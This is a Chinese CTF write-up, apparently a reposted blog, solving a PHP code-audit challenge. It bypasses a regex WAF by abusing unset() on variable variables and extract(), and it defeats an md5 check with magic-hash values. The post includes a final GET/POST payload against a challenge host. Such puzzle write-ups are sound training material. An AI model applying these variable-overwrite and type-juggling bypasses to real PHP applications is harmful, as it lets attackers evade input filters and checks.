CTF 代码审计 unset() extract()

这个一上来有点把我整蒙了。。。
在这里插入图片描述
这个waf我寻思怎么都绕不过啊,/flag/i,只要提交flag就能被检测出来,想是想不出来了,只能弄个环境慢慢调试吧。

function waf($a){
    foreach($a as $key => $value){
        echo $key."____".$value;	//我自己加的,看看啥情况。
        if(preg_match('/flag/i',$key)){
            exit('are you a hacker');
        }
    }
}
if($_POST) { var_dump($_POST);waf($_POST);}
if($_GET) { var_dump($_GET);waf($_GET); }

先试个flag=1
在这里插入图片描述
明显看到flag就是$key,绕不过正则。然后试了下1flagxxx=1
在这里插入图片描述
还是不行,名字不行,那试试数组。
在这里插入图片描述
还是不行,再把flag放到数组的键名中去。
在这里插入图片描述
好了,成功绕过这个了。这里咋一看就觉得有点奇怪的,记得这个key应该就是[]里面的键阿,怎么会变成数组名称的。

后来仔细看了下才发现,$_POST本来就是个数组,然后传一个数组的话,当然只会把数组的名称当作key了,所以把flag关键字放入键名里面就可以绕过正则了。。。

接着来看下面这一段。

foreach(array('_POST', '_GET') as $__R) {
    if($$__R) {
        foreach($$__R as $__k => $__v) {
            if(isset($$__k) && $$__k == $__v) unset($$__k);
        }
    }
}

不管是$_POST或者是$_GET,当提交的数组名和值相等时,就进行unset(),即销毁变量。但是我post提交数据时,总是无法让他们相等。
本地测试代码为

foreach(array('_POST', '_GET') as $__R) {
    if($$__R) {
        foreach($$__R as $__k => $__v) {
            var_dump($$__R);
            echo "^<br>";
            var_dump($$_k);
            echo "^<br>";
            var_dump($__v);
            echo "^<br>";
            var_dump($$__k == $__v);
            if(isset($$__k) && $$__k == $__v) unset($$__k);
        }
    }
}

提交参数为:_POST[flag]=s224534898e&_POST[wenhua]=QNKCDZO,用这两组数就是因为md5弱比较,这就不多说了。

运行结果为
在这里插入图片描述
没有相同,所以最后比较后不用销毁,算是成功提交。

if($_POST) { var_dump($_POST);waf($_POST);}
if($_GET) { var_dump($_GET);waf($_GET); }
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_POST['flag'])){
    if($_POST['flag'] === $_POST['wenhua']){
        exit('error');
    }
    if(md5($_POST['flag'] ) == md5($_POST['wenhua'])){
        echo "flag";

    }
}

通过extract()函数将数组给拆成变量,键名为变量名,键值为变量值。但是关键是上一步的处理后,发现$_POST仍然是一个数组,处理了以后就变成了_POST[flag],并不是$_POST[flag],下面的if无法执行。。。于是知道思路应该错了。

这里反着来考虑,最后需要提交$_POST['flag']$_POST['wenhua'],那行,那post里面的参数就应该是flag=s224534898e&wenhua=QNKCDZO,但是这样明显是无法绕过waf的。所以这里就只能把unset利用起来了。

再来看看这一段。

foreach(array('_POST', '_GET') as $__R) {
    if($$__R) {
        foreach($$__R as $__k => $__v) {
            if(isset($$__k) && $$__k == $__v) unset($$__k);
        }
    }
}

之前没有把$_GET用起来,再来想一想,传flag=s224534898e&wenhua=QNKCDZO,那么结果肯定是不会被销毁的,如果不能被销毁,那么waf就绕不过去,这里就一定得想办法让他进行销毁掉$_POST才行。

一样的方式,倒着看,需要unset($_POST),那么$__k就为_POST,这个值怎么来呢,之前的一直没用上的$_GET这里就可以用上了,假设通过GET方式传的是_POST[flag]=s224534898e&_POST[wenhua]=QNKCDZO,再来看看会是啥情况。

那么此时$$__k$_POST,而$__varray(2) { ["flag"]=> string(11) "s224534898e" ["wenhua"]=> string(7) "QNKCDZO" },由于POST方式提交的参数为flag=s224534898e&wenhua=QNKCDZO,即$_POST也为array(2) { ["flag"]=> string(11) "s224534898e" ["wenhua"]=> string(7) "QNKCDZO" },这样就把$_POST销毁了,销毁就可以绕过waf了。

下面是测试的图,测试代码还是之间的那个
在这里插入图片描述
那问题来了,销毁了,最后的if怎么比较。。。不要忘了,还有一个extract()函数。可以通过extract($_GET)还原出$_POST[flag]$_POST[wenhua]的。那么最终的payload

http://39.96.166.21:7071/index.php?_POST[flag]=s224534898e&_POST[wenhua]=QNKCDZO

post提交
flag=s224534898e&wenhua=QNKCDZO

提交后成功拿到flag
在这里插入图片描述

发布了265 篇原创文章 · 获赞 266 · 访问量 4万+

猜你喜欢

转载自blog.csdn.net/u014029795/article/details/105033652
今日推荐